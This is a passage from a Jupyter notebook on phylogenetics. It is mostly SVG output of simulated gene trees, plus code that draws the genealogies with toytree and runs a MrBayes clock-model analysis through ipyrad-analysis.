transform=\"translate(107.717,148.008)\"><circle r=\"4.0\"></circle></g><g id=\"node-22\" transform=\"translate(119.669,116.372)\"><circle r=\"4.0\"></circle></g><g id=\"node-23\" transform=\"translate(106.630,90.488)\"><circle r=\"4.0\"></circle></g><g id=\"node-24\" transform=\"translate(119.626,67.479)\"><circle r=\"4.0\"></circle></g><g id=\"node-25\" transform=\"translate(89.982,165.984)\"><circle r=\"4.0\"></circle></g><g id=\"node-26\" transform=\"translate(88.678,103.430)\"><circle r=\"4.0\"></circle></g><g id=\"node-27\" transform=\"translate(102.713,58.851)\"><circle r=\"4.0\"></circle></g><g id=\"node-28\" transform=\"translate(57.422,134.707)\"><circle r=\"4.0\"></circle></g><g id=\"node-29\" transform=\"translate(102.048,48.785)\"><circle r=\"4.0\"></circle></g><g id=\"node-30\" transform=\"translate(36.301,91.746)\"><circle r=\"4.0\"></circle></g></g><g class=\"toytree-Tiplabels-L\" style=\"fill:rgb(14.9%,14.9%,14.9%);fill-opacity:1.0;font-size:11px;font-weight:normal;stroke:none;text-anchor:end;white-space:pre\"></g><g class=\"toytree-Tiplabels-R\" style=\"fill:rgb(14.9%,14.9%,14.9%);fill-opacity:1.0;font-size:11px;font-weight:normal;stroke:none;text-anchor:start;white-space:pre\"><g transform=\"translate(141.88,214.35)\"><text>r2-1</text></g><g transform=\"translate(141.88,202.84)\"><text>r2-0</text></g><g transform=\"translate(141.88,191.34)\"><text>r0-1</text></g><g transform=\"translate(141.88,179.83)\"><text>r4-1</text></g><g transform=\"translate(141.88,168.33)\"><text>r4-0</text></g><g transform=\"translate(141.88,156.83)\"><text>r3-1</text></g><g transform=\"translate(141.88,145.32)\"><text>r3-0</text></g><g transform=\"translate(141.88,133.82)\"><text>r1-0</text></g><g transform=\"translate(141.88,122.31)\"><text>r0-0</text></g><g transform=\"translate(141.88,110.81)\"><text>r1-1</text></g><g transform=\"translate(141.88,99.31)\"><text>r5-1</text></g><g transform=\"translate(141.88,87.80)\"><text>r5-0</text></g><g transform=\"translate(141.88,76.30)\"><text>r7-1</text></g><g transform=\"translate(141.88,64.79)\"><text>r7-0</text></g><g transform=\"translate(141.88,53.29)\"><text>r6-0</text></g><g transform=\"translate(141.88,41.78)\"><text>r6-1</text></g></g></g></g></g><g class=\"toyplot-coordinates-Cartesian\" id=\"t6e7b3335fdc04c31b0b494481a81b3ee\"><clipPath id=\"t55747f32c6ab4774b2f05e304f2fb2c6\"><rect height=\"230.0\" width=\"155.0\" x=\"185.0\" y=\"10.0\"></rect></clipPath><g clip-path=\"url(#t55747f32c6ab4774b2f05e304f2fb2c6)\"><g class=\"toytree-mark-Toytree\" id=\"t3b81b8df67514d569816537ae9ccd8ee\"><g class=\"toytree-Edges\" style=\"fill:none;opacity:1;stroke:rgb(14.9%,14.9%,14.9%);stroke-linecap:round;stroke-opacity:1.0;stroke-width:2\"><path d=\"M 211.3 80.8 L 279.4 48.8\" id=\"30,29\"></path><path d=\"M 211.3 80.8 L 238.7 112.8\" id=\"30,28\"></path><path d=\"M 279.4 48.8 L 288.3 58.9\" id=\"29,27\"></path><path d=\"M 238.7 112.8 L 275.0 90.5\" id=\"28,26\"></path><path d=\"M 238.7 112.8 L 262.0 135.1\" id=\"28,25\"></path><path d=\"M 288.3 58.9 L 297.3 67.5\" id=\"27,24\"></path><path d=\"M 262.0 135.1 L 300.7 113.5\" id=\"25,23\"></path><path d=\"M 262.0 135.1 L 274.2 156.6\" id=\"25,22\"></path><path d=\"M 274.2 156.6 L 301.9 136.5\" id=\"22,21\"></path><path d=\"M 274.2 156.6 L 282.0 176.8\" id=\"22,20\"></path><path d=\"M 282.0 176.8 L 293.8 159.5\" id=\"20,19\"></path><path d=\"M 282.0 176.8 L 290.3 194.0\" id=\"20,18\"></path><path d=\"M 290.3 194.0 L 295.3 182.5\" id=\"18,17\"></path><path d=\"M 290.3 194.0 L 293.6 205.5\" id=\"18,16\"></path><path d=\"M 279.4 48.8 L 301.9 38.7\" id=\"29,15\"></path><path d=\"M 288.3 58.9 L 301.9 50.2\" id=\"27,14\"></path><path d=\"M 297.3 67.5 L 301.9 61.7\" id=\"24,13\"></path><path d=\"M 297.3 67.5 L 301.9 73.2\" id=\"24,12\"></path><path d=\"M 275.0 90.5 L 301.9 84.7\" id=\"26,11\"></path><path d=\"M 275.0 90.5 L 301.9 96.2\" id=\"26,10\"></path><path d=\"M 300.7 113.5 L 301.9 107.7\" id=\"23,9\"></path><path d=\"M 300.7 113.5 L 301.9 119.2\" id=\"23,8\"></path><path d=\"M 301.9 136.5 L 301.9 130.8\" id=\"21,7\"></path><path d=\"M 301.9 136.5 L 301.9 142.3\" id=\"21,6\"></path><path d=\"M 293.8 159.5 L 301.9 153.8\" id=\"19,5\"></path><path d=\"M 293.8 159.5 L 301.9 165.3\" id=\"19,4\"></path><path d=\"M 295.3 182.5 L 301.9 176.8\" id=\"17,3\"></path><path d=\"M 295.3 182.5 L 301.9 188.3\" id=\"17,2\"></path><path d=\"M 293.6 205.5 L 301.9 199.8\" id=\"16,1\"></path><path d=\"M 293.6 205.5 L 301.9 211.3\" id=\"16,0\"></path></g><g class=\"toytree-AlignEdges\" style=\"stroke:rgb(66.3%,66.3%,66.3%);stroke-dasharray:2, 4;stroke-linecap:round;stroke-opacity:1.0;stroke-width:2\"><path d=\"M 301.9 211.3 L 301.9 211.3\"></path><path d=\"M 301.9 199.8 L 301.9 199.8\"></path><path d=\"M 301.9 188.3 L 301.9 188.3\"></path><path d=\"M 301.9 176.8 L 301.9 176.8\"></path><path d=\"M 301.9 165.3 L 301.9 165.3\"></path><path d=\"M 301.9 153.8 L 301.9 153.8\"></path><path d=\"M 301.9 142.3 L 301.9 142.3\"></path><path d=\"M 301.9 130.8 L 301.9 130.8\"></path><path d=\"M 301.9 119.2 L 301.9 119.2\"></path><path d=\"M 301.9 107.7 L 301.9 107.7\"></path><path d=\"M 301.9 96.2 L 301.9 96.2\"></path><path d=\"M 301.9 84.7 L 301.9 84.7\"></path><path d=\"M 301.9 73.2 L 301.9 73.2\"></path><path d=\"M 301.9 61.7 L 301.9 61.7\"></path><path d=\"M 301.9 50.2 L 301.9 50.2\"></path><path d=\"M 301.9 38.7 L 301.9 38.7\"></path></g><g class=\"toytree-Nodes\" style=\"fill:rgb(10.6%,62%,46.7%);fill-opacity:1.0;stroke:rgb(100%,100%,100%);stroke-opacity:1.0;stroke-width:1.5\"><g id=\"node-0\" transform=\"translate(301.883,211.281)\"><circle r=\"4.0\"></circle></g><g id=\"node-1\" transform=\"translate(301.883,199.777)\"><circle r=\"4.0\"></circle></g><g id=\"node-2\" transform=\"translate(301.883,188.273)\"><circle r=\"4.0\"></circle></g><g id=\"node-3\" transform=\"translate(301.883,176.769)\"><circle r=\"4.0\"></circle></g><g id=\"node-4\" transform=\"translate(301.883,165.264)\"><circle r=\"4.0\"></circle></g><g id=\"node-5\" transform=\"translate(301.883,153.760)\"><circle r=\"4.0\"></circle></g><g id=\"node-6\" transform=\"translate(301.883,142.256)\"><circle r=\"4.0\"></circle></g><g id=\"node-7\" transform=\"translate(301.883,130.752)\"><circle r=\"4.0\"></circle></g><g id=\"node-8\" transform=\"translate(301.883,119.248)\"><circle r=\"4.0\"></circle></g><g id=\"node-9\" transform=\"translate(301.883,107.744)\"><circle r=\"4.0\"></circle></g><g id=\"node-10\" transform=\"translate(301.883,96.240)\"><circle r=\"4.0\"></circle></g><g id=\"node-11\" transform=\"translate(301.883,84.736)\"><circle r=\"4.0\"></circle></g><g id=\"node-12\" transform=\"translate(301.883,73.231)\"><circle r=\"4.0\"></circle></g><g id=\"node-13\" transform=\"translate(301.883,61.727)\"><circle r=\"4.0\"></circle></g><g id=\"node-14\" transform=\"translate(301.884,50.223)\"><circle r=\"4.0\"></circle></g><g id=\"node-15\" transform=\"translate(301.883,38.719)\"><circle r=\"4.0\"></circle></g><g id=\"node-16\" transform=\"translate(293.595,205.529)\"><circle r=\"4.0\"></circle></g><g id=\"node-17\" transform=\"translate(295.331,182.521)\"><circle r=\"4.0\"></circle></g><g id=\"node-18\" transform=\"translate(290.262,194.025)\"><circle r=\"4.0\"></circle></g><g id=\"node-19\" transform=\"translate(293.821,159.512)\"><circle r=\"4.0\"></circle></g><g id=\"node-20\" transform=\"translate(281.983,176.769)\"><circle r=\"4.0\"></circle></g><g id=\"node-21\" transform=\"translate(301.856,136.504)\"><circle r=\"4.0\"></circle></g><g id=\"node-22\" transform=\"translate(274.166,156.636)\"><circle r=\"4.0\"></circle></g><g id=\"node-23\" transform=\"translate(300.716,113.496)\"><circle r=\"4.0\"></circle></g><g id=\"node-24\" transform=\"translate(297.305,67.479)\"><circle r=\"4.0\"></circle></g><g id=\"node-25\" transform=\"translate(261.963,135.066)\"><circle r=\"4.0\"></circle></g><g id=\"node-26\" transform=\"translate(275.022,90.488)\"><circle r=\"4.0\"></circle></g><g id=\"node-27\" transform=\"translate(288.349,58.851)\"><circle r=\"4.0\"></circle></g><g id=\"node-28\" transform=\"translate(238.716,112.777)\"><circle r=\"4.0\"></circle></g><g id=\"node-29\" transform=\"translate(279.434,48.785)\"><circle r=\"4.0\"></circle></g><g id=\"node-30\" transform=\"translate(211.301,80.781)\"><circle r=\"4.0\"></circle></g></g><g class=\"toytree-Tiplabels-L\" style=\"fill:rgb(14.9%,14.9%,14.9%);fill-opacity:1.0;font-size:11px;font-weight:normal;stroke:none;text-anchor:end;white-space:pre\"></g><g class=\"toytree-Tiplabels-R\" style=\"fill:rgb(14.9%,14.9%,14.9%);fill-opacity:1.0;font-size:11px;font-weight:normal;stroke:none;text-anchor:start;white-space:pre\"><g transform=\"translate(316.88,214.35)\"><text>r1-1</text></g><g transform=\"translate(316.88,202.84)\"><text>r0-0</text></g><g transform=\"translate(316.88,191.34)\"><text>r1-0</text></g><g transform=\"translate(316.88,179.83)\"><text>r0-1</text></g><g transform=\"translate(316.88,168.33)\"><text>r2-1</text></g><g transform=\"translate(316.88,156.83)\"><text>r2-0</text></g><g transform=\"translate(316.88,145.32)\"><text>r3-1</text></g><g transform=\"translate(316.88,133.82)\"><text>r3-0</text></g><g transform=\"translate(316.88,122.31)\"><text>r4-1</text></g><g transform=\"translate(316.88,110.81)\"><text>r4-0</text></g><g transform=\"translate(316.88,99.31)\"><text>r5-1</text></g><g transform=\"translate(316.88,87.80)\"><text>r5-0</text></g><g transform=\"translate(316.88,76.30)\"><text>r7-1</text></g><g transform=\"translate(316.88,64.79)\"><text>r7-0</text></g><g transform=\"translate(316.88,53.29)\"><text>r6-1</text></g><g transform=\"translate(316.88,41.78)\"><text>r6-0</text></g></g></g></g></g><g class=\"toyplot-coordinates-Cartesian\" id=\"tf8eed377be8746f7b78d13c2ef48367a\"><clipPath id=\"t34afb23cec93412dabbbe0728e4cb22e\"><rect height=\"230.0\" width=\"155.0\" x=\"360.0\" y=\"10.0\"></rect></clipPath><g clip-path=\"url(#t34afb23cec93412dabbbe0728e4cb22e)\"><g class=\"toytree-mark-Toytree\" id=\"t20dbdc4d7f224a80a297a9c93801a1e5\"><g class=\"toytree-Edges\" style=\"fill:none;opacity:1;stroke:rgb(14.9%,14.9%,14.9%);stroke-linecap:round;stroke-opacity:1.0;stroke-width:2\"><path d=\"M 386.3 85.7 L 461.6 56.0\" id=\"30,29\"></path><path d=\"M 386.3 85.7 L 429.7 115.5\" id=\"30,28\"></path><path d=\"M 461.6 56.0 L 470.7 44.5\" id=\"29,27\"></path><path d=\"M 461.6 56.0 L 465.7 67.5\" id=\"29,26\"></path><path d=\"M 429.7 115.5 L 469.6 90.5\" id=\"28,25\"></path><path d=\"M 429.7 115.5 L 430.4 140.5\" id=\"28,24\"></path><path d=\"M 430.4 140.5 L 467.9 113.5\" id=\"24,23\"></path><path d=\"M 430.4 140.5 L 445.0 167.4\" id=\"24,22\"></path><path d=\"M 445.0 167.4 L 453.7 148.0\" id=\"22,21\"></path><path d=\"M 445.0 167.4 L 450.8 186.8\" id=\"22,20\"></path><path d=\"M 453.7 148.0 L 476.5 136.5\" id=\"21,19\"></path><path d=\"M 453.7 148.0 L 471.3 159.5\" id=\"21,18\"></path><path d=\"M 450.8 186.8 L 451.7 196.9\" id=\"20,17\"></path><path d=\"M 451.7 196.9 L 465.0 205.5\" id=\"17,16\"></path><path d=\"M 470.7 44.5 L 476.9 38.7\" id=\"27,15\"></path><path d=\"M 470.7 44.5 L 476.9 50.2\" id=\"27,14\"></path><path d=\"M 465.7 67.5 L 476.9 61.7\" id=\"26,13\"></path><path d=\"M 465.7 67.5 L 476.9 73.2\" id=\"26,12\"></path><path d=\"M 469.6 90.5 L 476.9 84.7\" id=\"25,11\"></path><path d=\"M 469.6 90.5 L 476.9 96.2\" id=\"25,10\"></path><path d=\"M 467.9 113.5 L 476.9 107.7\" id=\"23,9\"></path><path d=\"M 467.9 113.5 L 476.9 119.2\" id=\"23,8\"></path><path d=\"M 476.5 136.5 L 476.9 130.8\" id=\"19,7\"></path><path d=\"M 476.5 136.5 L 476.9 142.3\" id=\"19,6\"></path><path d=\"M 471.3 159.5 L 476.9 153.8\" id=\"18,5\"></path><path d=\"M 471.3 159.5 L 476.9 165.3\" id=\"18,4\"></path><path d=\"M 450.8 186.8 L 476.9 176.8\" id=\"20,3\"></path><path d=\"M 451.7 196.9 L 476.9 188.3\" id=\"17,2\"></path><path d=\"M 465.0 205.5 L 476.9 199.8\" id=\"16,1\"></path><path d=\"M 465.0 205.5 L 476.9 211.3\" id=\"16,0\"></path></g><g class=\"toytree-AlignEdges\" style=\"stroke:rgb(66.3%,66.3%,66.3%);stroke-dasharray:2, 4;stroke-linecap:round;stroke-opacity:1.0;stroke-width:2\"><path d=\"M 476.9 211.3 L 476.9 211.3\"></path><path d=\"M 476.9 199.8 L 476.9 199.8\"></path><path d=\"M 476.9 188.3 L 476.9 188.3\"></path><path d=\"M 476.9 176.8 L 476.9 176.8\"></path><path d=\"M 476.9 165.3 L 476.9 165.3\"></path><path d=\"M 476.9 153.8 L 476.9 153.8\"></path><path d=\"M 476.9 142.3 L 476.9 142.3\"></path><path d=\"M 476.9 130.8 L 476.9 130.8\"></path><path d=\"M 476.9 119.2 L 476.9 119.2\"></path><path d=\"M 476.9 107.7 L 476.9 107.7\"></path><path d=\"M 476.9 96.2 L 476.9 96.2\"></path><path d=\"M 476.9 84.7 L 476.9 84.7\"></path><path d=\"M 476.9 73.2 L 476.9 73.2\"></path><path d=\"M 476.9 61.7 L 476.9 61.7\"></path><path d=\"M 476.9 50.2 L 476.9 50.2\"></path><path d=\"M 476.9 38.7 L 476.9 38.7\"></path></g><g class=\"toytree-Nodes\" style=\"fill:rgb(10.6%,62%,46.7%);fill-opacity:1.0;stroke:rgb(100%,100%,100%);stroke-opacity:1.0;stroke-width:1.5\"><g id=\"node-0\" transform=\"translate(476.883,211.281)\"><circle r=\"4.0\"></circle></g><g id=\"node-1\" transform=\"translate(476.883,199.777)\"><circle r=\"4.0\"></circle></g><g id=\"node-2\" transform=\"translate(476.883,188.273)\"><circle r=\"4.0\"></circle></g><g id=\"node-3\" transform=\"translate(476.883,176.769)\"><circle r=\"4.0\"></circle></g><g id=\"node-4\" transform=\"translate(476.883,165.264)\"><circle r=\"4.0\"></circle></g><g id=\"node-5\" transform=\"translate(476.883,153.760)\"><circle r=\"4.0\"></circle></g><g id=\"node-6\" transform=\"translate(476.883,142.256)\"><circle r=\"4.0\"></circle></g><g id=\"node-7\" transform=\"translate(476.883,130.752)\"><circle r=\"4.0\"></circle></g><g id=\"node-8\" transform=\"translate(476.883,119.248)\"><circle r=\"4.0\"></circle></g><g id=\"node-9\" transform=\"translate(476.883,107.744)\"><circle r=\"4.0\"></circle></g><g id=\"node-10\" transform=\"translate(476.883,96.240)\"><circle r=\"4.0\"></circle></g><g id=\"node-11\" transform=\"translate(476.883,84.736)\"><circle r=\"4.0\"></circle></g><g id=\"node-12\" transform=\"translate(476.884,73.231)\"><circle r=\"4.0\"></circle></g><g id=\"node-13\" transform=\"translate(476.884,61.727)\"><circle r=\"4.0\"></circle></g><g id=\"node-14\" transform=\"translate(476.883,50.223)\"><circle r=\"4.0\"></circle></g><g id=\"node-15\" transform=\"translate(476.883,38.719)\"><circle r=\"4.0\"></circle></g><g id=\"node-16\" transform=\"translate(465.003,205.529)\"><circle r=\"4.0\"></circle></g><g id=\"node-17\" transform=\"translate(451.703,196.901)\"><circle r=\"4.0\"></circle></g><g id=\"node-18\" transform=\"translate(471.257,159.512)\"><circle r=\"4.0\"></circle></g><g id=\"node-19\" transform=\"translate(476.508,136.504)\"><circle r=\"4.0\"></circle></g><g id=\"node-20\" transform=\"translate(450.772,186.835)\"><circle r=\"4.0\"></circle></g><g id=\"node-21\" transform=\"translate(453.718,148.008)\"><circle r=\"4.0\"></circle></g><g id=\"node-22\" transform=\"translate(445.020,167.422)\"><circle r=\"4.0\"></circle></g><g id=\"node-23\" transform=\"translate(467.911,113.496)\"><circle r=\"4.0\"></circle></g><g id=\"node-24\" transform=\"translate(430.383,140.459)\"><circle r=\"4.0\"></circle></g><g id=\"node-25\" transform=\"translate(469.580,90.488)\"><circle r=\"4.0\"></circle></g><g id=\"node-26\" transform=\"translate(465.680,67.479)\"><circle r=\"4.0\"></circle></g><g id=\"node-27\" transform=\"translate(470.698,44.471)\"><circle r=\"4.0\"></circle></g><g id=\"node-28\" transform=\"translate(429.668,115.473)\"><circle r=\"4.0\"></circle></g><g id=\"node-29\" transform=\"translate(461.600,55.975)\"><circle r=\"4.0\"></circle></g><g id=\"node-30\" transform=\"translate(386.301,85.724)\"><circle r=\"4.0\"></circle></g></g><g class=\"toytree-Tiplabels-L\" style=\"fill:rgb(14.9%,14.9%,14.9%);fill-opacity:1.0;font-size:11px;font-weight:normal;stroke:none;text-anchor:end;white-space:pre\"></g><g class=\"toytree-Tiplabels-R\" style=\"fill:rgb(14.9%,14.9%,14.9%);fill-opacity:1.0;font-size:11px;font-weight:normal;stroke:none;text-anchor:start;white-space:pre\"><g transform=\"translate(491.88,214.35)\"><text>r3-1</text></g><g transform=\"translate(491.88,202.84)\"><text>r3-0</text></g><g transform=\"translate(491.88,191.34)\"><text>r0-0</text></g><g transform=\"translate(491.88,179.83)\"><text>r1-1</text></g><g transform=\"translate(491.88,168.33)\"><text>r1-0</text></g><g transform=\"translate(491.88,156.83)\"><text>r0-1</text></g><g transform=\"translate(491.88,145.32)\"><text>r2-1</text></g><g transform=\"translate(491.88,133.82)\"><text>r2-0</text></g><g transform=\"translate(491.88,122.31)\"><text>r4-1</text></g><g transform=\"translate(491.88,110.81)\"><text>r4-0</text></g><g transform=\"translate(491.88,99.31)\"><text>r5-1</text></g><g transform=\"translate(491.88,87.80)\"><text>r5-0</text></g><g transform=\"translate(491.88,76.30)\"><text>r6-1</text></g><g transform=\"translate(491.88,64.79)\"><text>r6-0</text></g><g transform=\"translate(491.88,53.29)\"><text>r7-1</text></g><g transform=\"translate(491.88,41.78)\"><text>r7-0</text></g></g></g></g></g><g class=\"toyplot-coordinates-Cartesian\" id=\"ted01d76369704f7782a22e494f02cdf6\"><clipPath id=\"tdbbe6e8ddefb45e49f2469aa886a2e10\"><rect height=\"230.0\" width=\"155.0\" x=\"535.0\" y=\"10.0\"></rect></clipPath><g clip-path=\"url(#tdbbe6e8ddefb45e49f2469aa886a2e10)\"><g class=\"toytree-mark-Toytree\" id=\"te2aeaf00d71c419da284e8fe05cb0add\"><g class=\"toytree-Edges\" style=\"fill:none;opacity:1;stroke:rgb(14.9%,14.9%,14.9%);stroke-linecap:round;stroke-opacity:1.0;stroke-width:2\"><path d=\"M 561.3 83.3 L 598.2 48.8\" id=\"30,29\"></path><path d=\"M 561.3 83.3 L 584.8 117.7\" id=\"30,28\"></path><path d=\"M 598.2 48.8 L 642.0 58.9\" id=\"29,27\"></path><path d=\"M 584.8 117.7 L 643.2 90.5\" id=\"28,26\"></path><path d=\"M 584.8 117.7 L 621.2 145.0\" id=\"28,25\"></path><path d=\"M 642.0 58.9 L 649.7 67.5\" id=\"27,24\"></path><path d=\"M 621.2 145.0 L 621.5 125.0\" id=\"25,23\"></path><path d=\"M 621.2 145.0 L 625.7 164.9\" id=\"25,22\"></path><path d=\"M 621.5 125.0 L 641.1 113.5\" id=\"23,21\"></path><path d=\"M 621.5 125.0 L 627.1 136.5\" id=\"23,20\"></path><path d=\"M 625.7 164.9 L 638.7 176.0\" id=\"22,19\"></path><path d=\"M 638.7 176.0 L 639.5 186.8\" id=\"19,18\"></path><path d=\"M 639.5 186.8 L 644.6 196.9\" id=\"18,17\"></path><path d=\"M 644.6 196.9 L 651.7 205.5\" id=\"17,16\"></path><path d=\"M 598.2 48.8 L 651.9 38.7\" id=\"29,15\"></path><path d=\"M 642.0 58.9 L 651.9 50.2\" id=\"27,14\"></path><path d=\"M 649.7 67.5 L 651.9 61.7\" id=\"24,13\"></path><path d=\"M 649.7 67.5 L 651.9 73.2\" id=\"24,12\"></path><path d=\"M 643.2 90.5 L 651.9 84.7\" id=\"26,11\"></path><path d=\"M 643.2 90.5 L 651.9 96.2\" id=\"26,10\"></path><path d=\"M 641.1 113.5 L 651.9 107.7\" id=\"21,9\"></path><path d=\"M 641.1 113.5 L 651.9 119.2\" id=\"21,8\"></path><path d=\"M 627.1 136.5 L 651.9 130.8\" id=\"20,7\"></path><path d=\"M 627.1 136.5 L 651.9 142.3\" id=\"20,6\"></path><path d=\"M 625.7 164.9 L 651.9 153.8\" id=\"22,5\"></path><path d=\"M 638.7 176.0 L 651.9 165.3\" id=\"19,4\"></path><path d=\"M 639.5 186.8 L 651.9 176.8\" id=\"18,3\"></path><path d=\"M 644.6 196.9 L 651.9 188.3\" id=\"17,2\"></path><path d=\"M 651.7 205.5 L 651.9 199.8\" id=\"16,1\"></path><path d=\"M 651.7 205.5 L 651.9 211.3\" id=\"16,0\"></path></g><g class=\"toytree-AlignEdges\" style=\"stroke:rgb(66.3%,66.3%,66.3%);stroke-dasharray:2, 4;stroke-linecap:round;stroke-opacity:1.0;stroke-width:2\"><path d=\"M 651.9 211.3 L 651.9 211.3\"></path><path d=\"M 651.9 199.8 L 651.9 199.8\"></path><path d=\"M 651.9 188.3 L 651.9 188.3\"></path><path d=\"M 651.9 176.8 L 651.9 176.8\"></path><path d=\"M 651.9 165.3 L 651.9 165.3\"></path><path d=\"M 651.9 153.8 L 651.9 153.8\"></path><path d=\"M 651.9 142.3 L 651.9 142.3\"></path><path d=\"M 651.9 130.8 L 651.9 130.8\"></path><path d=\"M 651.9 119.2 L 651.9 119.2\"></path><path d=\"M 651.9 107.7 L 651.9 107.7\"></path><path d=\"M 651.9 96.2 L 651.9 96.2\"></path><path d=\"M 651.9 84.7 L 651.9 84.7\"></path><path d=\"M 651.9 73.2 L 651.9 73.2\"></path><path d=\"M 651.9 61.7 L 651.9 61.7\"></path><path d=\"M 651.9 50.2 L 651.9 50.2\"></path><path d=\"M 651.9 38.7 L 651.9 38.7\"></path></g><g class=\"toytree-Nodes\" style=\"fill:rgb(10.6%,62%,46.7%);fill-opacity:1.0;stroke:rgb(100%,100%,100%);stroke-opacity:1.0;stroke-width:1.5\"><g id=\"node-0\" transform=\"translate(651.884,211.281)\"><circle r=\"4.0\"></circle></g><g id=\"node-1\" transform=\"translate(651.884,199.777)\"><circle r=\"4.0\"></circle></g><g id=\"node-2\" transform=\"translate(651.884,188.273)\"><circle r=\"4.0\"></circle></g><g id=\"node-3\" transform=\"translate(651.884,176.769)\"><circle r=\"4.0\"></circle></g><g id=\"node-4\" transform=\"translate(651.884,165.264)\"><circle r=\"4.0\"></circle></g><g id=\"node-5\" transform=\"translate(651.884,153.760)\"><circle r=\"4.0\"></circle></g><g id=\"node-6\" transform=\"translate(651.883,142.256)\"><circle r=\"4.0\"></circle></g><g id=\"node-7\" transform=\"translate(651.883,130.752)\"><circle r=\"4.0\"></circle></g><g id=\"node-8\" transform=\"translate(651.884,119.248)\"><circle r=\"4.0\"></circle></g><g id=\"node-9\" transform=\"translate(651.884,107.744)\"><circle r=\"4.0\"></circle></g><g id=\"node-10\" transform=\"translate(651.884,96.240)\"><circle r=\"4.0\"></circle></g><g id=\"node-11\" transform=\"translate(651.884,84.736)\"><circle r=\"4.0\"></circle></g><g id=\"node-12\" transform=\"translate(651.884,73.231)\"><circle r=\"4.0\"></circle></g><g id=\"node-13\" transform=\"translate(651.884,61.727)\"><circle r=\"4.0\"></circle></g><g id=\"node-14\" transform=\"translate(651.884,50.223)\"><circle r=\"4.0\"></circle></g><g id=\"node-15\" transform=\"translate(651.883,38.719)\"><circle r=\"4.0\"></circle></g><g id=\"node-16\" transform=\"translate(651.748,205.529)\"><circle r=\"4.0\"></circle></g><g id=\"node-17\" transform=\"translate(644.642,196.901)\"><circle r=\"4.0\"></circle></g><g id=\"node-18\" transform=\"translate(639.514,186.835)\"><circle r=\"4.0\"></circle></g><g id=\"node-19\" transform=\"translate(638.679,176.050)\"><circle r=\"4.0\"></circle></g><g id=\"node-20\" transform=\"translate(627.121,136.504)\"><circle r=\"4.0\"></circle></g><g id=\"node-21\" transform=\"translate(641.086,113.496)\"><circle r=\"4.0\"></circle></g><g id=\"node-22\" transform=\"translate(625.703,164.905)\"><circle r=\"4.0\"></circle></g><g id=\"node-23\" transform=\"translate(621.467,125.000)\"><circle r=\"4.0\"></circle></g><g id=\"node-24\" transform=\"translate(649.717,67.479)\"><circle r=\"4.0\"></circle></g><g id=\"node-25\" transform=\"translate(621.161,144.952)\"><circle r=\"4.0\"></circle></g><g id=\"node-26\" transform=\"translate(643.159,90.488)\"><circle r=\"4.0\"></circle></g><g id=\"node-27\" transform=\"translate(642.028,58.851)\"><circle r=\"4.0\"></circle></g><g id=\"node-28\" transform=\"translate(584.763,117.720)\"><circle r=\"4.0\"></circle></g><g id=\"node-29\" transform=\"translate(598.164,48.785)\"><circle r=\"4.0\"></circle></g><g id=\"node-30\" transform=\"translate(561.301,83.253)\"><circle r=\"4.0\"></circle></g></g><g class=\"toytree-Tiplabels-L\" style=\"fill:rgb(14.9%,14.9%,14.9%);fill-opacity:1.0;font-size:11px;font-weight:normal;stroke:none;text-anchor:end;white-space:pre\"></g><g class=\"toytree-Tiplabels-R\" style=\"fill:rgb(14.9%,14.9%,14.9%);fill-opacity:1.0;font-size:11px;font-weight:normal;stroke:none;text-anchor:start;white-space:pre\"><g transform=\"translate(666.88,214.35)\"><text>r0-1</text></g><g transform=\"translate(666.88,202.84)\"><text>r0-0</text></g><g transform=\"translate(666.88,191.34)\"><text>r1-1</text></g><g transform=\"translate(666.88,179.83)\"><text>r2-0</text></g><g transform=\"translate(666.88,168.33)\"><text>r1-0</text></g><g transform=\"translate(666.88,156.83)\"><text>r2-1</text></g><g transform=\"translate(666.88,145.32)\"><text>r4-1</text></g><g transform=\"translate(666.88,133.82)\"><text>r4-0</text></g><g transform=\"translate(666.88,122.31)\"><text>r3-1</text></g><g transform=\"translate(666.88,110.81)\"><text>r3-0</text></g><g transform=\"translate(666.88,99.31)\"><text>r5-1</text></g><g transform=\"translate(666.88,87.80)\"><text>r5-0</text></g><g transform=\"translate(666.88,76.30)\"><text>r6-1</text></g><g transform=\"translate(666.88,64.79)\"><text>r6-0</text></g><g transform=\"translate(666.88,53.29)\"><text>r7-1</text></g><g transform=\"translate(666.88,41.78)\"><text>r7-0</text></g></g></g></g></g></svg><div class=\"toyplot-behavior\"><script>(function()\n", "{\n", "var modules={};\n", "})();</script></div></div>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "# the simulated genealogies of haploid alleles\n", "genes = model.df.genealogy[:4]\n", "\n", "# draw the genealogies of the first four loci\n", "toytree.mtree(genes).draw_tree_grid(ts='o', layout='r');" ] }, { "cell_type": "code", "execution_count": 88, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "brlenspr clock:uniform \n", "clockratepr normal(0.01,0.005) \n", "clockvarpr igr \n", "igrvarpr exp(10.0) \n", "nchains 4 \n", "ngen 1000000 \n", "nruns 2 \n", "samplefreq 1000 \n", "topologypr fixed(fixedtree) \n", "\n", "job itest-2 finished successfully\n" ] } ], "source": [ "# init the mb object\n", "mb = ipa.mrbayes(\n", " data=\"/tmp/mbtest-2.nex\",\n", " workdir=\"/tmp\",\n", " name=\"itest-2\",\n", " clock_model=2,\n", " constraints=TREE,\n", " ngen=int(1e6),\n", " nruns=2,\n", ")\n", "\n", "# summary of priors/params\n", "print(mb.params)\n", "\n", "# start the run\n", "mb.run(force=True)" ] }, { "cell_type": "code", "execution_count": 91, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div class=\"toyplot\" id=\"t201c764b18d24d619abacb5b043f2625\" style=\"text-align:center\"><svg class=\"toyplot-canvas-Canvas\" height=\"260.0px\" id=\"t2ad5d0576474459388b7e94ab43913e4\" preserveAspectRatio=\"xMidYMid meet\" style=\"background-color:transparent;border-color:#292724;border-style:none;border-width:1.0;fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:Helvetica;font-size:12px;opacity:1.0;stroke:rgb(16.1%,15.3%,14.1%);stroke-opacity:1.0;stroke-width:1.0\" viewBox=\"0 0 350.0 260.0\" width=\"350.0px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:toyplot=\"http://www.sandia.gov/toyplot\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"><g class=\"toyplot-coordinates-Cartesian\" id=\"te869bbcb8b4d438ab4fb20599b1c098b\"><clipPath id=\"t4d202f33b00745048dba9e2e57efa097\"><rect height=\"200.0\" width=\"290.0\" x=\"30.0\" y=\"30.0\"></rect></clipPath><g clip-path=\"url(#t4d202f33b00745048dba9e2e57efa097)\"><g class=\"toytree-mark-Toytree\" 